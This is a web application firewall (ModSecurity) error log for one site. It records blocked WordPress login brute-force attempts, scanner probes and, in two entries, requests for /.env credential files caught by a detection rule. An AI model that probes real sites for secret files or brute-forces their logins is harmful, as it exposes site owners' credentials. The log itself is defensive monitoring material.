[Tue Mar 24 05:14:44.812570 2026] [:error] [pid 3030:tid 3053] [client 220.158.232.162:46506] [client 220.158.232.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.232.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGtRAyOuILyynfcqfnwGwAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 05:17:14.635611 2026] [:error] [pid 3032:tid 3114] [client 185.59.44.60:37196] [client 185.59.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.59.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGt2ia_-JXXD03-JNy_3QAAAIs"]
[Tue Mar 24 05:17:16.528185 2026] [:error] [pid 3032:tid 3122] [client 185.59.44.60:37196] [client 185.59.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.59.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGt3Ca_-JXXD03-JNy_4AAAAJM"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 05:18:25.327017 2026] [:error] [pid 3032:tid 3128] [client 89.117.27.125:54512] [client 89.117.27.125] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "acGuISa_-JXXD03-JNzAMgAAAJg"]
[Tue Mar 24 05:18:25.399204 2026] [:error] [pid 3030:tid 3064] [client 89.117.27.125:54496] [client 89.117.27.125] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "acGuIQyOuILyynfcqfnw2gAAAA8"]
[Tue Mar 24 05:30:25.271557 2026] [:error] [pid 3137:tid 3145] [client 162.241.62.117:59022] [client 162.241.62.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.62.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGw8ZdZesutm6dfYM_diAAAAMY"]
[Tue Mar 24 05:30:27.927270 2026] [:error] [pid 3137:tid 3162] [client 162.241.62.117:59022] [client 162.241.62.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.62.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acGw85dZesutm6dfYM_dkgAAANc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 06:27:51.795002 2026] [:error] [pid 3137:tid 3142] [client 43.163.206.70:47892] [client 43.163.206.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acG-Z5dZesutm6dfYM_4xAAAAMM"]
[Tue Mar 24 06:31:12.851047 2026] [:error] [pid 64198:tid 64201] [client 135.236.141.99:17976] [client 135.236.141.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.236.141.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acG_MHVzJqf6OS_oSZ3mwwAAAUE"]
[Tue Mar 24 06:31:14.729044 2026] [:error] [pid 64198:tid 64214] [client 135.236.141.99:17976] [client 135.236.141.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.236.141.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acG_MnVzJqf6OS_oSZ3mygAAAU4"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 06:43:43.123483 2026] [:error] [pid 3031:tid 3085] [client 103.174.152.203:38562] [client 103.174.152.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.174.152.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acHCH6JBKytnG47nuibpuQAAAEk"]
[Tue Mar 24 06:43:45.676613 2026] [:error] [pid 3031:tid 3088] [client 103.174.152.203:38562] [client 103.174.152.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.174.152.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acHCIaJBKytnG47nuibpvAAAAEw"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 06:56:05.971104 2026] [:error] [pid 3137:tid 3143] [client 185.59.44.60:44486] [client 185.59.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.59.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acHFBZdZesutm6dfYM8IuAAAAMQ"]
[Tue Mar 24 06:56:09.205769 2026] [:error] [pid 3137:tid 3162] [client 185.59.44.60:45266] [client 185.59.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.59.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acHFCZdZesutm6dfYM8IxAAAANc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 07:06:18.135339 2026] [:error] [pid 3137:tid 3163] [client 162.241.2.250:28510] [client 162.241.2.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acHHapdZesutm6dfYM8OowAAANg"]
[Tue Mar 24 07:06:19.997430 2026] [:error] [pid 3137:tid 3162] [client 162.241.2.250:28510] [client 162.241.2.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acHHa5dZesutm6dfYM8OpwAAANc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 24 07:33:44.235139 2026] [:error] [pid 64198:tid 64211] [client 43.156.204.134:36148] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acHN2HVzJqf6OS_oSZ0CBAAAAUs"]
[Tue Mar 24 08:23:27.004035 2026] [:error] [pid 3137:tid 3144] [client 119.96.24.54:40162] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acHZf5dZesutm6dfYM88TAAAAMU"]
[Tue Mar 24 09:02:46.666024 2026] [:error] [pid 3032:tid 3104] [client 185.223.152.127:64213] [client 185.223.152.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.127, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acHitia_-JXXD03-JNz4DgAAAIE"]
[Tue Mar 24 09:34:34.415520 2026] [:error] [pid 3030:tid 3064] [client 147.135.212.200:57076] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "acHqKgyOuILyynfcqfkaaQAAAA8"]
[Tue Mar 24 09:34:36.419302 2026] [:error] [pid 38767:tid 38778] [client 147.135.212.200:53316] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "acHqLPwkUqN4GJAI5oXRZQAAAQg"]
[Tue Mar 24 09:34:38.483179 2026] [:error] [pid 3137:tid 3157] [client 147.135.212.200:53324] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "acHqLpdZesutm6dfYM9h8wAAANI"]
[Tue Mar 24 09:34:40.562965 2026] [:error] [pid 64198:tid 64221] [client 147.135.212.200:53338] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "acHqMHVzJqf6OS_oSZ1AuAAAAVU"]
[Tue Mar 24 09:34:42.452948 2026] [:error] [pid 38767:tid 38774] [client 147.135.212.200:53350] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "acHqMvwkUqN4GJAI5oXRcQAAAQQ"]
[Tue Mar 24 09:34:44.480408 2026] [:error] [pid 64198:tid 64221] [client 147.135.212.200:53354] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "acHqNHVzJqf6OS_oSZ1AwgAAAVU"]
[Tue Mar 24 09:34:46.408462 2026] [:error] [pid 3137:tid 3160] [client 147.135.212.200:59926] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "acHqNpdZesutm6dfYM9iDAAAANU"]
[Tue Mar 24 09:34:48.316627 2026] [:error] [pid 38767:tid 38785] [client 147.135.212.200:59928] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "acHqOPwkUqN4GJAI5oXRfQAAAQ8"]
[Tue Mar 24 09:34:50.209047 2026] [:error] [pid 64198:tid 64202] [client 147.135.212.200:59936] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "acHqOnVzJqf6OS_oSZ1A0AAAAUI"]
[Tue Mar 24 09:34:52.134472 2026] [:error] [pid 48128:tid 48165] [client 147.135.212.200:59952] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "acHqPMvR4LIMFLbM5VkCGQAAAY0"]
[Tue Mar 24 09:34:54.033805 2026] [:error] [pid 38767:tid 38789] [client 147.135.212.200:59962] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "acHqPvwkUqN4GJAI5oXRhgAAARM"]
[Tue Mar 24 09:34:55.939273 2026] [:error] [pid 3137:tid 3155] [client 147.135.212.200:59972] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "acHqP5dZesutm6dfYM9iGwAAANA"]
[Tue Mar 24 09:34:57.995527 2026] [:error] [pid 64198:tid 64222] [client 147.135.212.200:55342] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "acHqQXVzJqf6OS_oSZ1A-AAAAVY"]
[Tue Mar 24 09:35:00.057574 2026] [:error] [pid 64198:tid 64204] [client 147.135.212.200:55344] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "acHqRHVzJqf6OS_oSZ1BAQAAAUQ"]
[Tue Mar 24 09:35:02.105079 2026] [:error] [pid 38767:tid 38775] [client 147.135.212.200:55354] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "acHqRvwkUqN4GJAI5oXRmgAAAQU"]
[Tue Mar 24 09:35:04.002635 2026] [:error] [pid 38767:tid 38774] [client 147.135.212.200:55356] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "acHqSPwkUqN4GJAI5oXRnwAAAQQ"]
[Tue Mar 24 09:35:06.040800 2026] [:error] [pid 3032:tid 3108] [client 147.135.212.200:55368] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "acHqSia_-JXXD03-JNz8MAAAAIU"]
[Tue Mar 24 09:35:08.081009 2026] [:error] [pid 38767:tid 38770] [client 147.135.212.200:39430] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "acHqTPwkUqN4GJAI5oXRsQAAAQA"]
[Tue Mar 24 09:35:10.124791 2026] [:error] [pid 3031:tid 3092] [client 147.135.212.200:39446] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "acHqTqJBKytnG47nuiYHqAAAAFA"]
[Tue Mar 24 09:35:12.151204 2026] [:error] [pid 48219:tid 48282] [client 147.135.212.200:39462] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acHqUChf3b4R_lAIyv_kKgAAAgE"]
[Tue Mar 24 09:35:14.189803 2026] [:error] [pid 48219:tid 48290] [client 147.135.212.200:39474] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acHqUihf3b4R_lAIyv_kLgAAAgk"]
[Tue Mar 24 09:35:16.077512 2026] [:error] [pid 3137:tid 3158] [client 147.135.212.200:39490] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "acHqVJdZesutm6dfYM9iLgAAANM"]
[Tue Mar 24 09:35:17.964462 2026] [:error] [pid 48219:tid 48283] [client 147.135.212.200:46968] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "acHqVShf3b4R_lAIyv_kMQAAAgI"]
[Tue Mar 24 09:35:19.986012 2026] [:error] [pid 48214:tid 48267] [client 147.135.212.200:46970] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "acHqV7eshLWZ3uUDHKkBpQAAAc8"]
[Tue Mar 24 09:35:22.030573 2026] [:error] [pid 64198:tid 64223] [client 147.135.212.200:46980] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "acHqWnVzJqf6OS_oSZ1BIgAAAVc"]
[Tue Mar 24 09:35:24.078681 2026] [:error] [pid 64198:tid 64213] [client 147.135.212.200:46994] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "acHqXHVzJqf6OS_oSZ1BJQAAAU0"]
[Tue Mar 24 09:35:26.106788 2026] [:error] [pid 3137:tid 3147] [client 147.135.212.200:47004] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "acHqXpdZesutm6dfYM9iQQAAAMg"]
[Tue Mar 24 09:35:28.144564 2026] [:error] [pid 64198:tid 64215] [client 147.135.212.200:33138] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "acHqYHVzJqf6OS_oSZ1BMAAAAU8"]
[Tue Mar 24 09:35:30.017345 2026] [:error] [pid 3137:tid 3147] [client 147.135.212.200:33140] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "acHqYpdZesutm6dfYM9ibAAAAMg"]
[Tue Mar 24 11:06:36.526473 2026] [:error] [pid 3137:tid 3142] [client 109.245.105.22:19115] [client 109.245.105.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.245.105.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acH_vJdZesutm6dfYM-GggAAAMM"]
[Tue Mar 24 12:21:14.473333 2026] [:error] [pid 3137:tid 3148] [client 43.133.14.237:59874] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acIROpdZesutm6dfYM-ifgAAAMk"]
[Tue Mar 24 14:34:26.002534 2026] [:error] [pid 38767:tid 38789] [client 173.239.254.226:21355] [client 173.239.254.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acIwcvwkUqN4GJAI5oVtHgAAARM"]
[Tue Mar 24 16:22:29.535896 2026] [:error] [pid 48128:tid 48176] [client 173.239.254.217:47801] [client 173.239.254.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJJxcvR4LIMFLbM5VkhlQAAAZc"]
[Tue Mar 24 16:22:29.536776 2026] [:error] [pid 48128:tid 48162] [client 173.239.254.225:29769] [client 173.239.254.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJJxcvR4LIMFLbM5VkhlgAAAYo"]
[Tue Mar 24 16:35:04.593915 2026] [:error] [pid 38767:tid 38773] [client 173.239.254.214:34139] [client 173.239.254.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJMuPwkUqN4GJAI5oWnowAAAQM"]
[Tue Mar 24 16:35:05.591550 2026] [:error] [pid 38767:tid 38775] [client 85.8.130.17:47987] [client 85.8.130.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acJMufwkUqN4GJAI5oWnqwAAAQU"]
